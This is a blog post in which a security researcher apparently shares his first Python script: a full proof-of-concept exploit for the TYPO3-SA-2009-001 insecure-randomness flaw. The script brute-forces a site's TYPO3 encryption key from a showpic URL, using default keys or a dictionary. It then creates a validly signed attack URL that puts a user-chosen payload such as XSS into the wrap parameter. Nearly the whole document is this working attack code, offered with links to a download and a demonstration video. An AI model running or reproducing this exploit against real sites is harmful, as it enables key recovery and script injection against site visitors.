This script was originally written and used to test and exploit for the TYPO3-SA-2009-001 Insecure Randonmess bug that was discovered in late 2008. Details of this exploit can be found here.

This was my first attempt at Python scripting, so it may not be as smooth as some scripty, however it was a lot more productive than the typical Hello World script.

# TYPO3 Encryption Key - Proof of Concept
#
# Chris John Riley
# www.c22.cc
# [email protected]
# 16/12/2008 (23/01/2009)
# Version: 1.22
#
# Changelog
# 1.22 --> Fixed mistake in the attack string creation. Changed bodytag to bodyTag to corect mismatching MD5 results.


import hashlib
import urllib
import getopt
import sys
import re
from string import split
from urlparse import urlparse

dictionary = ''
file= ''
width = ''
height = ''
effects = ''
bodytag = ''
title = ''
wrap = ''
md5 = ''

def main():
	global file
	global width
	global height
	global effects
	global bodytag
	global title
	global wrap
	global md5
	global enckey
	success = ''
	i = 0
	urlquery = url.query.split('&')
	print " Base URL | ", baseurl
	while i < len(urlquery): # Loop through each part of the query
		urlsplit = urlquery[i].partition('=')
		j = 0 # Loop through to split the variables and values from the URL
		while j < (len(urlsplit)):
			if urlsplit[j].lower() in ("file", "width", "height", "effects", "bodytag", "title", "wrap", "md5"):
				if (urlsplit[j].lower() == "file"):
					file = urlsplit[j+2] # When split using partition the out put is "file" "=" "value" - j+2 is used to skip the "=" and set the value
					print "     file | ", file
				elif (urlsplit[j].lower() == "width"):
					width = urlsplit[j+2]
					print "    width | ", width
				elif (urlsplit[j].lower() == "height"):
					height = urlsplit[j+2]
					print "   height | ", height
				elif (urlsplit[j].lower() == "effects"):
					effects = urlsplit[j+2]
					print "  effects | ", effects
				elif (urlsplit[j].lower() == "bodytag"):
					bodytag = urlsplit[j+2]
					print "  bodytag | ", bodytag
				elif (urlsplit[j].lower() == "title"):
					title = urlsplit[j+2]
					print "    title | ", title
				elif (urlsplit[j].lower() == "wrap"):
					wrap = urlsplit[j+2]
					print "     wrap | ", wrap
				elif (urlsplit[j].lower() == "md5"):
					md5 = urlsplit[j+2]
					print "      md5 | ", md5
				else:
					break
			else:
				break
			j = j+1
		i = i+1
	urlreform = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, wrap)) +'|')
	print "\n" +"-" *80
	print " Attempting to find a matching MD5"
	print "-" *80
	print " Test string | ", urlreform +"<BRUTE-FORCE>|"
	print "-" *80
	print " Desired MD5 | ", md5
	print "-" *80
	if default == True: # Attempt to check default Typo3 Encryption keys
		print "\n" +" Beginning default Encryption Key attack"
		y = 0
		while y < 1000:
			# This section performs the MD5 hashing  and comparison
			# By recreating the hash and comparing against the original from the URL
			# the Encryption Key can be recovered / brute-forced
			# Details on the process used can be found in the paper discussing the vulnerability
			md5def1 = hashlib.md5(str(y)) 
			md5def2 = hashlib.md5(md5def1.hexdigest())
			md5def3 = "".join((md5def1.hexdigest(), md5def2.hexdigest()))
			md5def4 = hashlib.md5(md5def3)
			md5def5 = "".join((md5def3, md5def4.hexdigest()))
			testinput = "".join((urlreform, md5def5)) +'|'
			testresult = hashlib.md5(testinput)
			if testresult.hexdigest() == md5: # Match brute-forced MD5 against the one from the URL
				success = True
				break
			y = y+1
		if success:
			enckey = md5def5
			print "\n" +"_" *80
			print "=" *80
			print "-" *80
			print "\n Default Hash found is", md5def5 
			print "\n" +"_" *80
			print "=" *80
			print "-" *80
			change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ')
			if change == 'y':
				createlink() # Create valid URL using the recovered Encryption Key
			else:
				sys.exit()
		else:  
			if dictionary == True:
				print "\n Default Hash not found. Proceeding to dictionary attack"
			else:
				print "\n Default Hash not found."
	if dictionary == True: # Attempt to brute-force the Encryption Key using a dictionary file
		print " Using dictionary file = ", dictfile
		try:  
			for word in open(dictfile): # Loop through words in the file
				word = word.rstrip('\n') # Strip new line characters
				testinput = "".join((urlreform, word)) +'|' # Combine the word before creating the MD5 hash
				testresult = hashlib.md5(testinput)
				if testresult.hexdigest() == md5: # Compare the created hash to the one from the URL
					success = True 
					break
			if success:
				enckey = word
				print "\n" +"_" *80
				print "=" *80
				print "-" *80
				print "\n Encryption Key recovered .:", word 
				print "\n" +"_" *80
				print "=" *80
				print "-" *80
				change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ')
				if change == 'y':
					createlink() # Create valid URL using the recovered Encryption Key
				else:
					sys.exit()
			else:  
				print "-" *80
				print " Encryption Key not found"
				print "-" *80
		except IOError:  
			print dictfile, "not found!"  
	  
def usage():
	print "\n\n" +"-" *80
	print " Typo3 Encryption Key Tool"
	print "\n Version 1.22"
	print "-" *80
	print "\n www.c22.cc"
	print "\n This Proof of Concept script takes input in the form of a"
	print " TYPO3 URL (specifically one using the tx_cms_showpic class)"
	print " The script will then perform a check against known default"
	print " Encryption Keys or use a dictionary file to perform a brute"
	print " force attack in an attempt to recover the Encryption Key in"
	print " use on the remote server. Once the Encrpytion Key is recovered"
	print " the option is given to insert an attack string (i.e. XSS)"
	print " into the wrap element of the URL passed to the command line."
	print " the script will then recalculate a valid MD5 using the recovered"
	print " Encryption Key and provide a valid attack URL to the user."
	print "\n\n Usage .:"
	print "\n -u / --url <'Complete URL within single quotes'>"
	print " -f / --file <Path to dictionary file>"
	print " -d / --default <Check against the default encryption keys>"
	print ""

def createlink():
	# Once the Encryption Key has been recovered / brute-forced, it's possible to alter the original URL to contain attack code (XSS code, etc..) 
	# This section recreates the URI with a valid MD5 (created using the Encryption Key)
	print "\n Please insert your desired attack string."
	print " This string will be inserted into the"
	print " wrap section of the URL"
	attackstring = raw_input ('===> ') # Input attack code
	print " inserting", attackstring, "into the wrap tag"
	attackurl = "file=", file, "&width=", width, "&height=", height, "&effects=", effects, "&bodyTag=", bodytag, "&title=", title, "&wrap=", attackstring, "&md5="
	attackurl = urllib.unquote_plus("".join((attackurl))) # Link all variables together before creating the new MD5
	attackmd5 = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, attackstring, enckey)) +'|')
	print attackmd5
	attackmd5 =	hashlib.md5(str(attackmd5))
	attackmd5 = attackmd5.hexdigest() # We now have the newly created MD5
	attackurl = "".join((str(attackurl), str(attackmd5)))
	attackurl = "".join((attackurl))
	attackurl = "&".join((baseurl, attackurl))
	print "\n" +"_" *80
	print "=" *80
	print "-" *80 +"\n"
	print " Attack string .:\n\n" # Attack string is output with newly created MD5 hash
	print "", attackurl
	print "\n" +"_" *80
	print "=" *80
	print "-" *80

try:
	opts, args = getopt.getopt(sys.argv[1:], "u:f:dh", ["url=", "file=", "default", "help"])
except getopt.GetoptError:
	usage()
	sys.exit(2)
if len(sys.argv) < 4:
	usage()
	sys.exit(2)
for opt, arg in opts:
	if opt in ("-h", "--help"):
		usage()
		sys.exit()
	elif opt in ("-u", "--url"):
		url = urlparse(arg, scheme='http', allow_fragments=False)
		eID = url.query.split('&')[0]
		baseurl = "?".join((("".join((("://".join((url.scheme, url.netloc))), url.path))), eID)) # Recreate the URL up to the end of the eID parameter
	elif opt in ("-f", "--file"):
		dictfile = arg
		dictionary = True
	elif opt in ("-d", "--default"): # Check that the Typo3 Encryption key isn't set to a default value
		default = True
print "\n" +"_"*80
print "-"*80
print "\n" +" TYPO3 4.2.3 Offline Encryption Key brute forcer"

print " Chris John Riley (Raiffeisen Informatik GmbH)"
print " Version 1.20 (December 2008)"
print "\n" +"_"*80
print "-"*80
print "\n" +" Data extracted from URL .:"	
print ""

if __name__== '__main__':  
   main() 

A full copy of this python script can be downloaded here

A video of this script being used to exploit a vulnerable TYPO3 instance is available on Vimeo here

ChrisJohnRiley